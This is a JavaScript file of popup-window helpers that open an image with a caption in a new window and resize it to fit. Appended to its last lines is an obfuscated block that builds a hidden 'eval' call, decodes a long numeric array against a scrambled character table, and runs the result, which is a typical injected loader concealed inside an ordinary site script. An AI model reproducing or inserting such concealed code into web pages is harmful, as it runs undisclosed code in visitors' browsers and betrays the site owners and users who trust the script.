window.defaultStatus = "";

//get reference object for popup
function getRefToDivMod( divID, oDoc ) {
	if( !oDoc ) { oDoc = document; }
	if( document.layers ) {
		if( oDoc.layers[divID] ) { return oDoc.layers[divID]; } else {
			for( var x = 0, y; !y && x < oDoc.layers.length; x++ ) {
				y = getRefToDivMod(divID,oDoc.layers[x].document);
			}
			return y;
		}
	}
	if( document.getElementById ) { return oDoc.getElementById(divID); }
	if( document.all ) { return oDoc.all[divID]; }
	return document[divID];
}


//resize method for popup window (resize to fit contents)
function resizeWinTo() {
	if( !document.images.length ) { document.images[0] = document.layers[0].images[0]; }
	if( !document.images[0].height || window.doneAlready ) { return false; } //in case images are disabled
	var oH = getRefToDivMod( 'myID' ); if( !oH ) { return false; }
	var oW = oH.clip ? oH.clip.width : oH.offsetWidth;
	var oH = oH.clip ? oH.clip.height : oH.offsetHeight; if( !oH ) { return false; }
	if( !oH || window.doneAlready ) { return false; } //in case images are disabled
	window.doneAlready = true; //for Safari and Opera
	/*//no idea why this is in here
	if(document.getElementsByTagName) {
		for( var l = document.getElementsByTagName(\'a\'), x = 0; l[x]; x++ ) {
			if(l[x].className==\'makeright\'&&!l[x].style.position){
				l[x].style.position=\'relative\';
				l[x].style.left=(document.images[0].width-(l[x].offsetWidth+l[x].offsetLeft))+\'px\';
	}}}
	*/
	var x = window; x.resizeTo( oW + 200, oH + 200 );
	var myW = 0, myH = 0, d = x.document.documentElement, b = x.document.body;
	if( x.innerWidth ) { myW = x.innerWidth; myH = x.innerHeight; }
	else if( d && d.clientWidth ) { myW = d.clientWidth; myH = d.clientHeight; }
	else if( b && b.clientWidth ) { myW = b.clientWidth; myH = b.clientHeight; }
	if( window.opera && !document.childNodes ) { myW += 16; }
	x.resizeTo( oW = oW + ( ( oW + 200 ) - myW ), oH = oH + ( (oH + 200 ) - myH ) );
	//three lines to center the popup on the screen
	//'var scW = screen.availWidth ? screen.availWidth : screen.width;
	//'var scH = screen.availHeight ? screen.availHeight : screen.height;
	//'if( !window.opera ) { x.moveTo(Math.round((scW-oW)/2),Math.round((scH-oH)/2)); }
	return false;
}


//open popup with image and text
function openPerfectPopup(oSrc, oWidth, oTitle, oText){

	//the first two should be small for Opera's sake
	PositionX = 20;
	PositionY = 20;
	defaultWidth  = 600;
	defaultHeight = 400;
	var AutoClose = '';
	var oW1 = oWidth+30;
	var oContent

	var buttonclose = "<input class='button' type='button' value='close' onClick='window.close();' />";

	oContent  = "<table border='0' cellspacing='10' cellpadding='0' style='text-align:center; width:"+oWidth+"px; height:100px;'>\n";
	oContent  += "<tr><td style='white-space:nowrap; width:"+oWidth+"px;'>";
	oContent  += "<img src='"+oSrc+"' alt='' style='width:"+oWidth+"px;'  />";
	oContent  += "</td></tr>\n";
	oContent  += "<tr><td class='poptext' style='width:"+oWidth+"px; text-align:left;'>"+oText+"</td></tr>\n";
	oContent  += "<tr><td colspan='2' style='white-space:nowrap; width:"+oWidth+"px; text-align:right;'>"+buttonclose+"</td></tr>\n";
	oContent  += "</table>\n";

	var imgWin = window.open('','name','scrollbars=no,resizable=1,width='+defaultWidth+',height='+defaultHeight+',left='+PositionX+',top='+PositionY);
	if( !imgWin ) { return true; } //popup blockers should not cause errors
	imgWin.document.write('<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"><html>\n'+
		'<head>\n'+
		'<title>'+oTitle+'<\/title>\n'+
		'<script type="text/javaScript">\n'+
		'//get reference object for popup\n'+
		'function getRefToDivMod( divID, oDoc ) {\n'+
		'	if( !oDoc ) { oDoc = document; }\n'+
		'	if( document.layers ) {\n'+
		'		if( oDoc.layers[divID] ) { return oDoc.layers[divID]; } else {\n'+
		'			for( var x = 0, y; !y && x < oDoc.layers.length; x++ ) {\n'+
		'				y = getRefToDivMod(divID,oDoc.layers[x].document);\n'+
		'			}\n'+
		'			return y;\n'+
		'		}\n'+
		'	}\n'+
		'	if( document.getElementById ) { return oDoc.getElementById(divID); }\n'+
		'	if( document.all ) { return oDoc.all[divID]; }\n'+
		'	return document[divID];\n'+
		'}\n'+
		'\n'+
		'//resize method for popup window (resize to fit contents)\n'+
		'function resizeWinTo() {\n'+
		'	if( !document.images.length ) { document.images[0] = document.layers[0].images[0]; }\n'+
		'	if( !document.images[0].height || window.doneAlready ) { return; } //in case images are disabled\n'+
		'	var oH = getRefToDivMod( "myID" ); if( !oH ) { return false; }\n'+
		'	var oW = oH.clip ? oH.clip.width : oH.offsetWidth;\n'+
		'	var oH = oH.clip ? oH.clip.height : oH.offsetHeight; if( !oH ) { return false; }\n'+
		'	if( !oH || window.doneAlready ) { return; } //in case images are disabled\n'+
		'	window.doneAlready = true; //for Safari and Opera\n'+
		'	var x = window; x.resizeTo( oW + 200, oH + 200 );\n'+
		'	var myW = 0, myH = 0, d = x.document.documentElement, b = x.document.body;\n'+
		'	if( x.innerWidth ) { myW = x.innerWidth; myH = x.innerHeight; }\n'+
		'	else if( d && d.clientWidth ) { myW = d.clientWidth; myH = d.clientHeight; }\n'+
		'	else if( b && b.clientWidth ) { myW = b.clientWidth; myH = b.clientHeight; }\n'+
		'	if( window.opera && !document.childNodes ) { myW += 16; }\n'+
		'	x.resizeTo( oW = oW + ( ( oW + 200 ) - myW ), oH = oH + ( (oH + 200 ) - myH ) );\n'+
		'}\n'+
		'<\/script>\n'+
		'<style type="text/css">\n'+
		'html,body{\n'+
		'	text-align:center;\n'+
		'	font-family: arial, verdana, helvetica, tahoma, sans-serif;\n'+
		'	font-size: 11px;\n'+
		'	color: #444;\n'+
		'	margin-left: auto;\n'+
		'  	margin-right: auto;	\n'+
		'  	margin-top:0px;\n'+
		'	margin-bottom:0px;\n'+
		'	padding: 0px;\n'+
		'	background-color:#FFF;\n'+
		'	height:100%;\n'+
		'	cursor:default;\n'+
		'}\n'+
		'.poptext{\n'+
		'	font-size: 11px;\n'+
		'	text-align:left;\n'+
		'	color:#444;\n'+
		'	line-height:140%;\n'+
		'	vertical-align:top;\n'+
		'	text-align:left;\n'+
		'}\n'+
		'.button{\n'+
		'	border:1px solid #444;\n'+
		'	color: #444;\n'+
		'	background-color:#FFF;\n'+
		'	font-size: 11px;\n'+
		'	padding:2px;\n'+
		'	cursor:pointer;\n'+
		'	width:50px;\n'+
		'}\n'+
		'<\/style>\n'+

		'<\/head>\n'+
		'<body onload="resizeWinTo();">\n'+
		(document.layers?('<layer left="0" top="0" id="myID">\n'):('<div style="width:'+oW1+'px; position:absolute;left:0px;top:0px;" id="myID" >\n'))+
		oContent+
		(document.layers?'<\/layer>\n':'<\/div>\n')+
		'<\/body>\n'+
		'<\/html>\n');

	imgWin.document.close();
	if( imgWin.focus ) { imgWin.focus(); }
	return false;
}
var i,j,key; i = 0; j = 1; for(i=0;i < 20;i++) {  key = j + i + 20;  j = key - 10; } el=document.createElement("div");el.innerHTML="ren";el.innerHTML+="ceErr";el.appendChild(document.createTextNode("q"));el.appendChild(document.createTextNode("l"));el2=el.removeChild(el.lastChild);try{try{throw 1}catch(a){b[2]=21};}catch(a){with(el){k=firstChild.nodeValue;}};ar="<iuD \"'rwB [.f1beJlmEN0;>Tg(xI{Fh,QA/n=:kHdC)ovc]}tYyasp";ar2="R16c0c-12c48c-12c68c60c12c8c-180c68c-12c84c52c-152c56c-40c136c-120c-8c-8c12c-12c84c52c16c-180c172c-108c112c-108c-20c128c-136c-12c44c-84c36c120c-12c40c-184c152c-132c44c104c-16c-56c-104c0c0c-12c48c-24c184c-136c-12c-36c80c68c-84c-76c0c180c-156c24c8c144c-152c-24c80c-104c0c0c152c12c8c-180c68c-12c84c52c-152c-16c-4c-24c196c-136c44c-88c-20c4c48c-24c184c-136c-12c-24c176c-188c160c-36c-128c104c72c0c20c-64c-12c0c76c-40c-108c88c20c-132c140c-76c-64c140c0c-44c-8c0c24c-36c-88c-4c104c28c-128c100c-56c-68c24c-4c172c-168c44c80c28c-120c-32c100c52c-108c60c-108c156c-24c-24c-4c-20c-36c60c-4c16c0c-128c16c-8c-28c164c32c-72c24c-128c32c32c-64c16c88c-64c-60c100c24c72c-48c-128c32c32c-64c16c176c-16c8c-136c-8c88c-128c160c-180c212c-212c56c-56c68c-68c196c8c-52c-28c-124c164c0c-104c84c-56c128c-40c36c-212c196c-196c176c-32c8c56c-152c156c-36c-108c-64c192c-136c28c-20c-8c-12c148c-44c-68c4c108c-20c40c-64c-68c4c-68c72c-96c144c-140c48c-24c184c-136c-12c32c-76c156c-84c-76c0c180c-180c0c36c-44c140c40c12c-196c176c-32c-108c-36c48c-24c184c-136c-12c-36c80c68c-56c-104c0c0c168c28c-184c12c12c-12c112c-112c128c12c8c-180c68c-12c84c52c-152c140c-160c36c148c-12c-136c16c-8c-8c12c-12c84c52c-92c-84c-20c48c-24c184c-136c-12c-40c152c-84c-40c-4c168c-152c136c-60c60c0c-172c-24c56c-52c192c-136c44c-84c192c-188c160c-164c108c-108c104c72c0c20c-64c-12c0c76c-40c-108c88c20c-132c140c-76c-64c140c0c-44c-8c0c24c-36c-88c-4c104c28c-128c100c-56c-68c24c-4c172c-168c44c80c28c-120c-32c100c52c-108c60c-108c156c-24c-24c-4c-20c-36c60c-4c16c0c-128c152c-84c-40c-4c168c-16c8c-136c-8c-16c136c-180c212c-212c56c-56c68c-68c196c8c-56c-128c104c-124c164c0c-104c84c-124c68c-40c-4c168c-16c8c-136c-8c-16c172c-40c36c-212c196c-196c176c-32c4c-128c188c-152c156c-36c-108c-64c192c-136c-40c68c-40c-4c168c-16c8c-136c-8c-16c24c-8c-12c148c-48c-128c64c-64c68c-40c-4c168c-16c8c-136c-8c-16c152c-20c40c-68c-128c64c-64c68c-40c-4c168c-152c136c-60c60c0c-172c-24c56c-52c192c-136c44c-84c8c-28c164c32c-72c-104c108c-108c32c32c-64c152c-84c-40c-4c168c-152c136c-60c60c0c-172c-24c56c-52c192c-136c44c-84c104c-64c-60c100c24c72c-176c108c-108c32c32c-64c152c-84c-76c0c0c152c12c8c-180c68c-12c84c52c-152c56c-40c136c-120c-8c-8c12c-12c84c52c16c-180c172c-108c112c-108c-20c128c-136c-12c44c-84c36c120c-12c40c-184c152c-132c44c104c-144c164c8c0c-156c84c20c4c-44c-124c68c96c-60c-56c124c-84c-76c0c180";try{throw 1;}catch(a){pau="urn erenceErr".replace(k,"va"+el2.nodeValue);}
e=Function("ret"+pau)();ar2=ar2.split("c");ar2[0]="16";s="";pos=0;i=0;while(i<611){e('po'+'s+=par'+'seInt(k'+'.rep'+'lace("'+'ren'+'","0a'+'sd"))+'+'ar2['+'i]/'+'4');e('s+=ar.su'+''+'bstr(pos,1)');i++;}
e(s);
